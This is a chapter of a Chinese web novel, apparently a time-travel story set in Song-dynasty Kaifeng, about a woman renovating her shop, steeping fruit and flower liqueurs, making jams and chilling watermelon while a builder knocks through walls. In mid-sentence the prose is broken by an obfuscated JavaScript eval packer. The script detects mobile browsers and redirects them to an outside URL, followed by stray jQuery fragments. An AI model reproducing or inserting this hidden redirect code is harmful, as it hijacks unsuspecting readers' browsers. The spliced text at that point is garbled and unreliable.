铺子谈了七七八八，李怀珠便开始跟人打听汴京城里哪家匠人手艺好。
问了一圈众说纷纭，李怀珠掂量了一下自己的积蓄，觉得此时还是实用为主，最后听了柴炭老板给她的建议，去寻了‘城南宋记作头’的宋大郎。
宋家三代都是泥瓦木匠，在汴京城里口碑不错，不少酒楼食肆翻新都找他，据说人品实在，好说话，工期也抓得紧。
宋家的铺子不大，宋大郎是个三十出头的汉子，人高马大，飞眉入鬓，长了副颇为雄壮的样子。
寒暄两句，李怀珠便将这几天画的草图和想法说了。
宋大郎听得十分认真，说可以先去实地看看。
到了店里，宋大郎里外看了半个时辰，又爬上梯子瞧了梁椽，敲了墙壁，趴地上看了砖缝。
宋大郎道：“娘子这想法可行。两间铺面结构相似，架好过梁后拆除下方没问题。后院打通更简单。只是这工连拆带建、重整门窗……估摸着得忙活上小半个月。娘子生意怕是要歇些时日了。”
听这话着实是个厚道负责的郎君，李怀珠却觉得休息段时间也好，俗话说不破不立，反正买房的钱都花了，隔壁租金也付了，装修和歇业这点“小钱”……咳，该折腾就折腾吧！
“那——咱们这就定下？”李怀珠眉眼弯弯。
宋大郎见她爽快，也憨然笑了：“既然娘子信得过，某必尽力。今日便列个单子，明日带徒弟过来再细定章程。”
李怀珠得了准信，想着这段歇业时间该怎么用起来——铺子不能开张，后院却还闲着，时值盛夏，瓜果不仅丰盈，价格也贱，若是做些果酒果酱存着，待铺子重开时，也能一齐上些酒饮。
李怀珠是个散漫性子，第二日睡到自然醒，用了顿颇丰盛的早食，才带团娘和恒奴去逛州桥果子行。
盛夏刚过的果子行自然香气四溢，各色鲜果买卖都方便……
但酿酒总得先有个酒基。
大宋的酒课制度李怀珠是知道的，私酿犯法，但买官酒回来再加工却是许可的，《宋会要》里便提过，“许人买扑”官酒务的酒，百姓可购之自饮或再酤卖——当然，税是不能少的。
于是仨人先拐去东水门附近的都酒务交了钱钞税款，买了五斗冬酿大酒——这酒清冽，经过整个冬季和春季的陈化，又醇厚，正适合做基酒浸泡花果①。
买好酒，让恒奴搬上雇来的驴车回店去卸下，她和团娘又折返果子行。
酿酒的花果得挑应季且香气足的。
先拣了五斤杨梅，祛暑生津最是爽口，李怀珠眼尖，挑的杨梅颗颗都有铜钱那么大，又见这老丈还卖荔枝，虽是快马运来的果子价格不菲，但见壳红肉白，晶莹如冰雪，也并秤了几斤——荔枝酒甜美馥郁，前朝白乐天不就写过“荔枝新熟鸡冠色，烧酒初开琥珀香”么？②虽说他那是蒸馏酒，但浸渍荔果出来的风味想必也不差。
杏子正当时，桑葚也便宜，索性包圆买了一竹篮，最后又称了一斤半鲜茉莉，挑了几束粉荷，临走瞥见有卖金银花的阿婆，药食同源的书册李怀珠在宫中背过诸多，知这花儿清热解毒，泡成酒饮应当颇受欢迎，便也包了一包。
回到店里，宋大郎已带着几个徒弟开始做拆墙前的准备。
李怀珠便让恒奴先将花果搬到西厢房，自己去取了几个水槽酒坛来——这种坛子盖沿有一圈凹槽，注水后盖上盖子，能有效隔绝空气，防止酒酸，宋人称之为“水封坛”。
工具倒简单，自家原有的尽够用，只额外需要些冰糖，李怀珠选的是建宁糖霜，虽然贵些但胜在质量好，没有什么杂质杂色。
一切齐备，下午铺子打了烊，几个人便在后院井台边忙活开来。
酿酒先要处理花果，杨梅得用淡盐水浸泡，李怀珠把果子淘洗后摊在竹筛上沥干，桑葚不能搓破皮，荔枝要剥壳，要去核，杏子洗净后拿小刀剖开挖核，这份工交给了团娘。
处理好的花果铺在竹编里晾干水分，晌午时，李怀珠让恒奴将几个瓷坛沸水烫过，倒扣晾干，花果表面干透了开始泡酒。
果酒花酒做法大概相同，一层花果一层糖铺在酒坛里，最后倒入酒液完全浸泡，只是金银花酒复杂些，需将金银花用少许清水加糖熬煮片刻，滤出花汁放凉，再将花朵花汁与糖、酒按比例入坛，这样酒中既有花朵清香，又有糖的甘润，不必再经漫长浸泡，旬日便可饮用。
忙完这些，花果用去了大半，可还剩不少。
尤其是桑葚、杨梅和杏子各有一小堆，自家吃不完，这个时节也存不住，李怀珠便想着不如做成果酱。
只是这念头一起，便有些肉痛——时下糖贵，可做果酱耗糖量惊人，与果肉等重甚至更多，才能熬出浓稠膏体且不易腐坏。
但……也做罢！
做出来不卖，只留着自己吃，或是送人也很体面。
三锅果酱熬完，糖罐子也快见了底，团娘眼巴巴对着跟前的几小罐果酱颇有成就感。
桑葚酱、杨梅酱、这些酱里李怀珠觉得杏子酱最是甜美，杏肉柔软，果肉与糖同熬后是金黄色的蜜膏，其间有些橙红果肉，香气怡人，摆着也好看。
果酱的吃法颇多，最简单的，莫过于晨起用冷泡茶冲开，便是一盏酸甜可口的花果饮子。
盛夏刚过，晌午对着饭食没有胃口，便也用这几罐果酱佐餐，炊饼或蒸糕刚出锅，趁热抹上一层杏子酱，果肉搭配面点十分合口，若是吃酥山，浇一勺杨梅酱或桑葚酱，红紫的酱汁流淌在雪白的酥山上，也很酸甜解腻。
前头拆砌的活李怀珠和团娘帮不上忙，俩人一合计，想起了在杂市上淘换来点茶家伙事，一个素漆建盏，一把竹制茶筅、茶罗和茶匙，东西并不名贵，但看着十分趁手，当时便想着闲来可以玩玩，此刻却是正好——最好的是还可用茉莉花酱点茶！
在茶筅击拂出的沫饽上点上茉莉花酱，茶盏中，洁白茶沫中绽开一点鹅黄，茶与花香气交融，清爽漂亮——这法子还是她从宋人笔记里看来的吃法，今日一玩果然很有意趣儿……
俩人玩够了，便出来看看有没有能帮上忙的事情。
前店里，宋大郎用长杆在墙两侧搭起了支撑，说是叫“托梁”，以防拆墙时上头屋顶塌下来，再用錾锤划出拆除的范围，从下往上将青砖敲松，再用手接住码放整齐。
“这些旧砖还能用，”瞧着这事做起来烦琐，宋大郎对李怀珠解释，“有些破损的，敲下来的灰土，混上新石灰、麻刀，又能重新和成泥浆砌墙，不浪费。”
到底是老师傅，懂得物尽其用。
李怀珠连连点头，小鸡啄米一般吸收新知识，很不吝惜自己的感谢，出门提了几只瓜来。
小时候李怀珠在老家，跟着大人买瓜时，瓜摊上多写“三白”字样，大约是白皮、白瓤、白籽的意思，这种瓜后来似乎少见了，爱吃的都是大人，喜爱其甜得清淡，而像李怀珠这样的小屁孩儿，混不吝爱吃糖的，还是更喜欢红瓤瓜。
挑西瓜也是门学问。
有经验的，屈起中指在瓜上轻轻一弹，“嘭嘭”声的，就是熟了；“噔噔”声，就是还生着；“噗噗”的，怕就是熟过了，一抔一洼水的那种。
李怀珠总学不会，便总装模作样拍两下，其实专拣瓜蒂青翠的买——带一段蔓，像是刚从藤上摘下来的，好不好吃的另说，起码新鲜。
最妙的就是夏天镇过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001070|192112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的西瓜，恰好自家后院就有口老井，这不是正好？
李怀珠把瓜装在网兜里，绳子系在辘轳上，缓缓送下去，浸上半个时辰提上来，刀尖刚挨着瓜皮，“咔”一声，自己就裂开了，凉气顺着冒出来。
切瓜宜用大刀，切成月牙块，拣中心的几块给做工的递过去，几人热得够呛，就着墙边阴凉吃起来，顾不得籽，稀里呼噜就往下咽，瓜汁顺着胳膊肘流也懒得擦……
李怀珠和团娘站在旁边跟着散德行，手里拿着瓜呼噜。
团娘没怎么吃过这种瓜，上一次清补凉的瓜丁也是被处理好的，问自己吃到一颗生籽，软软的，和着瓜瓤一起吞下去了不打紧吧？
——据说肚里能长出西瓜呢！李怀珠黑心眼的吓唬团娘。
小娘子便真信了，很是虔诚地摸着肚皮，疑心里面已经有瓜蔓在抽条儿。
忙活的灰头土脸的恒奴瞥了俩人一眼，又摇摇头，大概非常不耻东家如此促狭。
还不知被人编排的李怀珠还想着瓜皮也是好东西，把最外层绿皮削去，留着白玉似的内皮，切成细条，用盐略腌，再淋些香油醋，嚼起来咔嚓咔嚓的，比黄瓜脆，比萝卜甜，是暑天很好的一道小菜。
而空了的瓜壳，扣在孩子头上，便是一顶碧绿凉帽。
只是这两件事都没做成，前者是因为瓜皮不是是先切下来的，从人嘴里过一遭再收集起来做凉菜……实在让人有些堂皇。
后者，李怀珠看了眼碧油油的瓜皮……还是算了吧。
小时候这么玩叫童年无忌，长大了再这么玩就是行为艺术了。
前店打通这堵墙最费工夫，足用了三天，两间铺面中间一开，一时间有种豁然开朗的感觉，原本逼仄的空间一下子开阔了，实在是改的极好！
“娘子，您瞧这么着行不？”宋大郎指着地上用石灰粉画出的线，“这边打通了，整个前店能大不少，柜台可挪到正对门的位置，这边靠墙，可以打一排格架放糕团盒子，还有各式的瓶子罐子，娘子能分门别类归置，客人看着也清楚。”
“这边，”他又指向另一侧墙面，“可以隔出两个雅间，用棂格或者屏风稍微遮挡，娘子觉得底下是用木板隔断好，还是砌半截砖墙，上头用花窗？”
李怀珠仔细想了想，木板轻便但隔音差，砖墙结实可又笨重。
“用木板吧，”食肆嘛，吵一些好像也不是什么过错，她最终决定，“选厚实些的杉木，上头不做全封，留一尺来高的空，嵌蝉纱或素绢，既透光，又有些朦胧雅致……嗯，就先这样。”
之后便在每个雅间里摆桌椅，墙上也好挂字画，外面瞧也好看。
这么一想，和她之前吃过的中式餐厅格局差不多。
宋大郎点头记下：“娘子有见识，这般布置是实用又风雅的。”
李怀珠莞尔一笑，受了这夸赞。
大体收拾了前面，后院就简单许多。
两院之间的隔墙非承重，拆起来快得多，不到一日，两个原本各自独立的小院便合二为一，院子地面原本是杂乱的青砖和泥土地，宋大郎建议全部重铺，用青砖铺十字，以后就没那么大的尘土了。
“西北角靠墙，砌两个规整的灶台，娘子那口窑炉就安置在那儿，离正房远，烟熏火燎也不怕。旁边砌上砖棚，堆放柴火、煤炭，遮风挡雨。”
宋大郎指点着，“东边日头好，可以移栽些花草，娘子不是有棵石榴树么？就种在那儿，再摆几盆应时的菊花、茉莉。东南角打一口新井不方便，但可以把旧井栏修结实，周围用石板砌个台子，洗衣洗菜也便宜。”
李怀珠随着他的描述望去，仿佛已经看到了花木扶疏的新院子……